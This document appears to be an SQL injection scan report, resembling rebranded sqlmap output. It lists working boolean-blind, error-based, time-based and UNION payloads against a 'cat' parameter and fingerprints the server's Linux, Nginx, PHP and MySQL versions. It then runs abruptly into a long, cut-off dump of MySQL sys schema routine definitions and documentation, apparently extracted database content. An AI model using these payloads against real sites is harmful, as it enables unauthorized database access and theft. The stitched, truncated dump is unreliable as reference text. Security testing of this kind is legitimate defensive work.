iSec Scan Engine - Sql Injection Report

Scan Initiated By: **Pravin Dhumal**

Timestamp: 2025-06-20 15:49:37

iSec Engine 1.0 identified the following injection point(s) with a total of 48 HTTP(s) requests:

Parameter: cat (GET)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: cat=1 AND 6394=6394

Vector: AND [INFERENCE]

Type: error-based

Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)

Payload: cat=1 AND GTID_SUBSET(CONCAT(0x716b767171,(SELECT (ELT(9375=9375,1))),0x7176767071),9375)

Vector: AND GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: cat=1 AND (SELECT 9477 FROM (SELECT(SLEEP(5)))Rpef)

Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])

Type: UNION query

Title: Generic UNION query (NULL) - 11 columns

Payload: cat=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716b767171,0x586353477444477142715342655072 7a625a58584a684c4c417553596f5341484a4e43625a635445,0x7176767071),NULL,NULL-- -

Vector: UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,[QUERY],NULL,NULL-- -

---

web server operating system: Linux Ubuntu

web application technology: Nginx 1.19.0, PHP 5.6.40

back-end DBMS: MySQL >= 5.6

If the option exists in sys.sys_config return the value from there.\n 2. Else fall back on the provided default value.\n\nNotes for using sys_get_config():\n\n * If the default value argument to sys_get_config() is NULL and case 2. is reached, NULL is returned.\n It is then expected that the caller is able to handle NULL for the given configuration option.\n * The convention is to name the user variables @sys.. It is that\n is stored in the sys_config table and is what is expected as the argument to sys_get_config().\n * If you want to check whether the configuration option has already been set and if not assign with\n the return value of sys_get_config() you can use IFNULL(...) (see example below). However this should\n not be done inside a loop (e.g. for each row in a result set) as for repeated calls where assignment\n is only needed in the first iteration using IFNULL(...) is expected to be significantly slower than\n using an IF (...) THEN ... END IF; block (see example below).\n\nParameters\n----------\n\nin_variable_name (VARCHAR(128)):\n The name of the config option to return the value for.\n\nin_default_value (VARCHAR(128)):\n The default value to return if the variable does not exist in sys.sys_config.\n\nReturns\n----------\n\nVARCHAR(128)\n\nExample\n----------\n\n-- Get the configuration value from sys.sys_config falling back on 128 if the option is not present in the table.\nmysql> SELECT sys.sys_get_config('statement_truncate_len', 128) AS Value;\n+-------+\n| Value |\n+-------+\n| 64 |\n+-------+\n1 row in set (0.00 sec)\n\n-- Check whether the option is already set, if not assign - IFNULL(...) one liner example.\nmysql> SET @sys.statement_truncate_len = IFNULL(@sys.statement_truncate_len, sys.sys_get_config('statement_truncate_len', 64));\nQuery OK, 0 rows affected (0.00 sec)\n\n-- Check whether the option is already set, if not assign - IF ... THEN ... | 2020-11-17 13:39:05 | ONLY_FULL_GROUP_BY,STRICT_TRANS_TABLES,NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,NO_ENGINE_SUBSTITUTION | NULL | | mysql.sys@localhost | 2020-11-17 13:39:05 | SQL | diagnostics | PROCEDURE | NULL | NULL | INVOKER | diagnostics | NULL | NULL | sys | SQL | def | \nDescription\n----------\n\nCreate a report of the current status of the server for diagnostics purposes. Data collected includes (some items depends on versions and settings):\n\n * The GLOBAL VARIABLES\n * Several sys schema views including metrics or equivalent (depending on version and settings)\n * Queries in the 95th percentile\n * Several ndbinfo views for MySQL Cluster\n * Replication (both master and slave) information.\n\nSome of the sys schema views are calculated as initial (optional), overall, delta:\n\n * The initial view is the content of the view at the start of this procedure.\n This output will be the same as the the start values used for the delta view.\n The initial view is included if @sys.diagnostics.include_raw = 'ON'.\n * The overall view is the content of the view at the end of this procedure.\n This output is the same as the end values used for the delta view.\n The overall view is always included.\n * The delta view is the difference from the beginning to the end. Note that for min and max values\n they are simply the min or max value from the end view respectively, so does not necessarily reflect\n the minimum/maximum value in the monitored period.\n Note: except for the metrics views the delta is only calculation between the first and last outputs.\n\nRequires the SUPER privilege for "SET sql_log_bin = 0;".\n\nParameters\n----------\n\nin_max_runtime (INT UNSIGNED):\n The maximum time to keep collecting data.\n Use NULL to get the default which is 60 seconds, otherwise enter a value greater than 0.\nin_interval (INT UNSIGNED):\n How long to sleep between data collections.\n Use NULL to get the default which is 30 seconds, otherwise enter a value greater than 0.\nin_auto_config (ENUM('current', 'medium', 'full'))\n Automatically enable Performance Schema instruments and consumers.\n NOTE: The more that are enabled, the more impact on the performance.\n Supported values are:\n * current - use the current settings.\n *

medium - enable some settings. This requires the SUPER privilege.\n * full - enables all settings. This will have a big impact on the\n performance - be careful using this option. This requires\n the SUPER privilege.\n If another setting the 'current' is chosen, the current settings\n are restored at the end of the procedure.\n\n\nConfiguration Options\n----------\n\nsys.diagnostics.allow_i_s_tables\n Specifies whether it is allowed to do table scan queries on information_schema.TABLES. This can be expensive if there\n are many tables. Set to 'ON' to allow, 'OFF' to not allow.\n Default is 'OFF'.\n\nsys.diagnostics.include_raw\n Set to 'ON' to include the raw data (e.g. the original output of "SELECT * FROM sys.metrics").\n Use this to get the initial values of the various views.\n Default is 'OFF'.\n\nsys.statement_truncate_len\n How much of queries in the process list output to include.\n Default is 64.\n\nsys.debug\n Whether to provide debugging output.\n Default is 'OFF'. Set to 'ON' to include.\n\n\nExample\n--------\n\nTo create a report and append it to the file diag.out:\n\nmysql> TEE diag.out;\nmysql> CALL sys.diagnostics(120, 30, 'current');\n...\nmysql> NOTEE;\n | READS SQL DATA | NO | SQL | NULL | NULL | utf8mb4_0900_ai_ci | NULL | BEGIN\n DECLARE v_start, v_runtime, v_iter_start, v_sleep DECIMAL(20,2) DEFAULT 0.0;\n DECLARE v_has_innodb, v_has_ndb, v_has_ps, v_has_replication, v_has_ps_replication VARCHAR(8) CHARSET utf8mb4 DEFAULT 'NO';\n DECLARE v_this_thread_enabled ENUM('YES', 'NO');\n DECLARE v_table_name, v_banner VARCHAR(64) CHARSET utf8mb4;\n DECLARE v_sql_status_summary_select, v_sql_status_summary_delta, v_sql_status_summary_from, v_no_delta_names TEXT;\n DECLARE v_output_time, v_output_time_prev DECIMAL(20,3) UNSIGNED;\n DECLARE v_output_count, v_count, v_old_group_concat_max_len INT UNSIGNED DEFAULT 0;\n -- The width of each of the status outputs in the summery\n DECLARE v_status_summary_width TINYINT UNSIGNED DEFAULT 50;\n DECLARE v_done BOOLEAN DEFAULT FALSE;\n -- Do not include the following ndbinfo views:\n -- 'blocks' Static\n -- 'config_params' Static\n -- 'dict_obj_types' Static\n -- 'disk_write_speed_base' Can generate lots of output - only include aggregate views here\n -- 'memory_per_fragment' Can generate lots of output\n -- 'memoryusage' Handled separately\n -- 'operations_per_fragment' Can generate lots of output\n -- 'threadblocks' Only needed once\n DECLARE c_ndbinfo CURSOR FOR\n SELECT TABLE_NAME\n FROM information_schema.TABLES\n WHERE TABLE_SCHEMA = 'ndbinfo'\n AND TABLE_NAME NOT IN (\n 'blocks',\n 'config_params',\n 'dict_obj_types',\n 'disk_write_speed_base',\n 'memory_per_fragment',\n 'memoryusage',\n 'operations_per_fragment',\n 'threadblocks'\n);\n DECLARE c_sysviews_w_delta CURSOR FOR\n SELECT table_name\n FROM tmp_sys_views_delta\n ORDER BY table_name;\n DECLARE CONTINUE HANDLER FOR NOT FOUND SET v_done = TRUE;\n -- Do not track the current thread - no reason to clutter the output\n SELECT INSTRUMENTED INTO v_this_thread_enabled FROM performance_schema.threads WHERE PROCESSLIST_ID = CONNECTION_ID();\n IF (v_this_thread_enabled = 'YES') THEN\n CALL sys.ps_setup_disable_thread(CONNECTION_ID());\n END IF;\n -- Check options are sane\n IF (in_max_runtime < in_interval) THEN\n SIGNAL SQLSTATE '45000'\n SET MESSAGE_TEXT = 'in_max_runtime must be greater than or equal to in_interval';\n END IF;\n IF (in_max_runtime = 0) THEN\n SIGNAL SQLSTATE '45000'\n SET MESSAGE_TEXT = 'in_max_runtime must be greater than 0';\n END IF;\n IF (in_interval = 0) THEN\n SIGNAL SQLSTATE '45000'\n SET MESSAGE_TEXT = 'in_interval must be greater than 0';\n END IF;\n -- Set configuration options\n IF (@sys.diagnostics.allow_i_s_tables IS NULL) THEN\n SET @sys.diagnostics.allow_i_s_tables = sys.sys_get_config('diagnostics.allow_i_s_tables', 'OFF');\n END IF;\n IF

Supported actions are:\n * snapshot Store a snapshot. The default is to make a snapshot of the current content of\n performance_schema.events_statements_summary_by_digest, but by setting in_table\n this can be overwritten to copy the content of the specified table.\n The snapshot is stored in the sys.tmp_digests temporary table.\n * overall Generate analyzis based on the content specified by in_table. For the overall analyzis,\n in_table can be NOW() to use a fresh snapshot. This will overwrite an existing snapshot.\n Use NULL for in_table to use the existing snapshot. If in_table IS NULL and no snapshot\n exists, a new will be created.\n See also in_views and @sys.statement_performance_analyzer.limit.\n * delta Generate a delta analysis. The delta will be calculated between the reference table in\n in_table and the snapshot. An existing snapshot must exist.\n The action uses the sys.tmp_digests_delta temporary table.\n See also in_views and @sys.statement_performance_analyzer.limit.\n * create_table Create a regular table suitable for storing the snapshot for later use, e.g.

for\n calculating deltas.\n * create_tmp Create a temporary table suitable for storing the snapshot for later use, e.g. for\n calculating deltas.\n * save Save the snapshot in the table specified by in_table. The table must exists and have\n the correct structure.\n If no snapshot exists, a new is created.\n * cleanup Remove the temporary tables used for the snapshot and delta.\n\nin_table (VARCHAR(129)):\n The table argument used for some actions. Use the format 'db1.t1' or 't1' without using any backticks (`)\n for quoting. Periods (.) are not supported in the database and table names.\n\n The meaning of the table for each action supporting the argument is:\n\n * snapshot The snapshot is created based on the specified table. Set to NULL or NOW() to use\n the current content of performance_schema.events_statements_summary_by_digest.\n * overall The table with the content to create the overall analyzis for. The following values\n can be used:\n - A table name - use the content of that table.\n - NOW() - create a fresh snapshot and overwrite the existing snapshot.\n - NULL - use the last stored snapshot.\n * delta The table name is mandatory and specified the reference view to compare the currently\n stored snapshot against. If no snapshot exists, a new will be created.\n * create_table The name of the regular table to create.\n * create_tmp The name of the temporary table to create.\n * save The name of the table to save the currently stored snapshot into.\n\nin_views (SET ('with_runtimes_in_95th_percentile', 'analysis', 'with_errors_or_warnings',\n 'with_full_table_scans', 'with_sorting', 'with_temp_tables', 'custom'))\n Which views to include:\n\n * with_runtimes_in_95th_percentile Based on the sys.statements_with_runtimes_in_95th_percentile view\n * analysis Based on the sys.statement_analysis view\n * with_errors_or_warnings Based on the sys.statements_with_errors_or_warnings view\n * with_full_table_scans Based on the sys.statements_with_full_table_scans view\n * with_sorting Based on the sys.statements_with_sorting view\n * with_temp_tables Based on the sys.statements_with_temp_tables view\n * custom Use a custom view. This view must be specified in @sys.statement_performance_analyzer.view to an existing view or a query\n\nDefault is to include all except 'custom'.\n\n\nConfiguration Options\n----------\n\nsys.statement_performance_analyzer.limit\n The maximum number of rows to include for the views that does not have a built-in limit (e.g. the 95th percentile view).\n If not set the limit is 100.\n\nsys.statement_performance_analyzer.view\n Used together with the 'custom' view. If the value contains a space, it is considered a query, otherwise it must be\n an existing view querying the performance_schema.events_statements_summary_by_digest table. There cannot be any limit\n clause including in the query or view definition if @sys.statement_performance_analyzer.limit > 0.\n If specifying a view, use the same format as for in_table.\n\nsys.debug\n Whether to provide debugging output.\n Default is 'OFF'. Set to 'ON' to include.\n\n\nExample\n--------\n\nTo create a report with the queries in the 95th percentile since last truncate of performance_schema.events_statements_summary_by_digest\nand the delta for a 1 minute period:\n\n 1. Create a temporary table to store the initial snapshot.\n 2. Create the initial snapshot.\n 3. Save the initial snapshot in the temporary table.\n 4. Wait one minute.\n 5. Create a new snapshot.\n 6. Perform analyzis based on the new snapshot.\n 7. Perform analyzis based on the delta between the initial and new snapshots.\n\nmysql> CALL sys.statement_performance_analyzer('create_tmp', 'mydb.tmp_digests_ini', NULL);\nQuery OK, 0 rows affected (0.08 sec)\n\nmysql> CALL sys.statement_performance_analyzer('snapshot', NULL, NULL);\nQuery OK, 0 rows affected (0.02 sec)\n\nmysql> CALL sys.statement_performance_analyzer('save', 'mydb.tmp_digests_ini', NULL);\nQuery OK, 0 rows affected (0.00 sec)\n\nmysql> DO SLEEP(60);\nQuery OK, 0 rows
